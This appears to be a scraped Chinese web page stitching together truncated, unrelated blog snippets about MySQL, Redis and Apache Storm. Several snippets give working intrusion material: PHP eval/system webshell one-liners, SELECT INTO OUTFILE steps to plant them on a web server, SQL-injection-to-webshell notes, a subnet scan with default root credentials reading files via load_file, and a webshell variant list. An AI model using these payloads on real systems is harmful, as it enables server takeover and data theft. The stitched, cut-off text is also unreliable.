听说是很老的东西了,学习的时候发现还是很好用的,故学习转载过来,留备学习. mysql 导出一句话 方法1:网上流行的方法 流程:(1)建表--->(2)插入数据--->(3)select查询导出   USE test; #调用test数据库:DROP TABLE IF EXISTS tmp; # 测试当前数据中是否存在tmp表:CREATE TABLE tmp(cmd TEXT NOT NULL); # 创建表tmp,且其中的字段为cmd,值不能为空:INSERT INTO tmp(cmd)

USE mysql;# MySQL 返回的查询结果为空(即零行). # MySQL 返回的查询结果为空(即零行). CREATE TABLE a( cmd1 text NOT NULL );# MySQL 返回的查询结果为空(即零行). # MySQL 返回的查询结果为空(即零行). INSERT INTO a( cmd1 ) VALUES ( '<?php eval($_POST[cmd]);?>' );# 影响列数: # 影响列数: SELECT cmd1 FROM a # 影响列数: D

利用mysql写入一句话木马 前提: root权限,知道了服务器的web的绝对路径 select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "D:\\WWW\\22.php" 如果执行成功,生成D:\WWW\22.php,并写入 <?php @eval($_POST['pass']);?> 如果出现: 提示错误[Error Code] 1290 - The MySQL server is ru

通过管道传输pipe将MySQL数据批量导入Redis      自Redis 2.6以上版本起,Redis支持快速大批量导入数据,即官网的Redis Mass Insertion,即Pipe传输, 通过将要导入的命令转换为Resp格式,然后通过MySQL的concat()来整理出最终导入的命令集合,以达到快速导入的目的.  1. 根据需求设计好Redis的hash结构,关键是Key的设计 Redis其实就是内存数据库,而其中最常用的就是hash结构,key-value,查询时需要使用到key,

MySQL读文件 #coding=utf-8 import MySQLdb host = '172.16.1.' for i in range(129,131): tag = host+str(i) print tag+"3306" try: MySQLdb.connect(tag,3306,'root','root','mysql',timeout=1) cur = conn.cursor() cur.execute("select load_file('/root/fla

Storm的官方网址:http://storm.apache.org/index.html 1:什么是Storm? Storm是一个开源的分布式实时计算系统,可以简单.可靠的处理大量的数据流.被称作“实时的hadoop”.Storm有很多使用场景:如实时分析,在线机器学习,持续计算, 分布式RPC,ETL等等.Storm支持水平扩展,具有高容错性,保证每个消息都会得到处理,而且处理速度很快(在一个小集群中,每个结点每秒可以处理 数以百万计的消息).Storm的部署和运维都很便捷,而且更为重要的是

课程介绍 课程名称:Storm是什么 课程目标: 通过该课程的学习能够了解离线计算与流式计算的区别.掌握Storm框架的基础知识.了解流式计算的一般架构图. 课程大纲: 1. 离线计算是什么? 2. 流式计算是什么? 3. 流式计算与离线计算的区别? 4. Storm是什么? 5. Storm与Hadoop的区别? 6. Storm的应用场景及行业案例 7. Storm的核心组件(重点掌握) 8. Storm的编程模型(重点掌握) 9. 流式计算的一般架构图(重点掌握) 背景介绍 Storm背景

一.概述 今天起就正式进入了流式计算.这里先解释一下流式计算的概念 离线计算 离线计算:批量获取数据.批量传输数据.周期性批量计算数据.数据展示 代表技术:Sqoop批量导入数据.HDFS批量存储数据.MapReduce批量计算数据.Hive批量计算数据.***任务调度 ,hivesql .调度平台 .Hadoop集群运维 .数据清洗(脚本语言) .元数据管理 .数据稽查 .数据仓库模型架构 相关技术栈与应用 流式计算 流式计算:数据实时产生.数据实时传输.数据实时计算.实时展示 代表技术:Fl

离线计算 离线计算:批量获取数据.批量传输数据.周期性批量计算数据.数据展示 代表技术:Sqoop批量导入数据.HDFS批量存储数据.MapReduce批量计算数据.Hive批量计算数据.azkaban/oozie任务调度 流式计算 流式计算:数据实时产生.数据实时传输.数据实时计算.实时展示 代表技术:Flume实时获取数据.Kafka/metaq实时数据存储.Storm/JStorm实时数据计算.Redis实时结果缓存.持久化存储(mysql). 一句话总结:将源源不断产生的数据实时收集并实

1.离线计算是什么? 离线计算:批量获取数据.批量传输数据.周期性批量计算数据.数据展示 代表技术:Sqoop批量导入数据.HDFS批量存储数据.MapReduce批量计算数据.Hive批量计算数据.***任务调度 1,hivesql 2.调度平台 3.Hadoop集群运维 4.数据清洗(脚本语言) 5.元数据管理 6.数据稽查 7.数据仓库模型架构 2.流式计算是什么 流式计算:数据实时产生.数据实时传输.数据实时计算.实时展示 代表技术:Flume实时获取数据.Kafka/metaq实时数据

phpMyadmin简介 phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库 . 信息收集 此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell 物理路径 查询数据库存储路径来推测网站物理路径,也可以通过log变量得到 select @@datadir; 配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件 # Windows c:\windows\php.ini # php配置文件 c:\

目录 基础类 编码替换 无关键字函数类型 躲避检测记录 MySQL写入一句话 基础类 很容易被扫描.检测出来 <?php @eval($_GET['phpcode']);?> <?php @eval($_POST['phpcode']);?> <?php @system($_GET['cmd']);?> <?php @system($_POST['cmd']);?> <?php @exec($_POST['cmd']);?> <?php @

mysql.mysqli.PDO一句话概括比较 1 mysql扩展 (注:原始的,较差) 2 mysqli扩展(面向过程式) (注:比上面多了更多功能) 3 mysqli扩展(面向对象式) (注:比上面更符合面向对象思想) 4 mysqli扩展(面向对象式)(准备语句) (注:比上面更性能和安全) 5 PDO (注:比上面更具跨数据库的移植性) 6 PDO(准备语句) (注:比上面更性能和安全) 推荐由下往上优先使用.

有时候需要将 MySQL 的数据导出成 excel,这很简单,无需第三方工具,直接 MySQL 命令行就自带了这样的功能.比如: 1 SELECT * FROM nowamagic into outfile 'D:\\nowamagic.xls'; 双斜杠是带转义识别目录. 当然也可以加入筛选条件,将特定的数据导出成 excel,比如: 1 SELECT name, phone, tel, source FROM nowamagic WHERE q = 'a' into outfile 'D:\

mysql 中可以用一个sql命令实现在插入时,如果发现唯一索引重复的记录则自动改为更新语句, 语句如下: '; 注意,radcheck 表中 username 和 attribute 列是个组合的唯一索引. alter table radcheck add unique key(username,attribute);

一.MYSQL的命令行模式的设置:桌面->我的电脑->属性->环境变量->新建->PATH=“:path\mysql\bin;”其中path为MYSQL的安装路径.二.简单的介绍一下命令行进入MYSQL的方法:1.C:\>mysql -h hostname -u username -p按ENTER键,等待然后输入密码.这里hostname为服务器的名称,如localhost,username为MYSQL的用户名,如root.进入命令行后可以直接操作MYSQL了.2.简单

首先我们的找到一个有注入的站:这里我用自己搭建的环境表示:大家不要乱来 http://localhost/pentest/sql/sql_injection_get.php?id=1 发现是root权限,我们尝试直接写马 首先要找到网站的主目录: 数据库目录:D:\wamp\bin\mysql\mysql5.5.20\data\ 进行判断,服务器可能为wampserver简易版,httpd.conf文件在D:/wamp/bin/apache/Apache2.2.21/conf/httpd.con

mysql -h <host> -u<user> -p<passport> crm -e "select ....." | csvcut -t > output.csv 如果没有csvcut,需要先通过pip安装 pip install csvkit

INSERT INTO cdcd2015(`filename`,`xmlfile`,`updatetime`,`isDel`) SELECT `filename`,`xmlfile`,`updatetime`,`isDel` FROM cdcdtemp;

SELECT @rowno:=@rowno + 1 AS rowno,a.* FROM tableName a,(SELECT @rowno:=0) b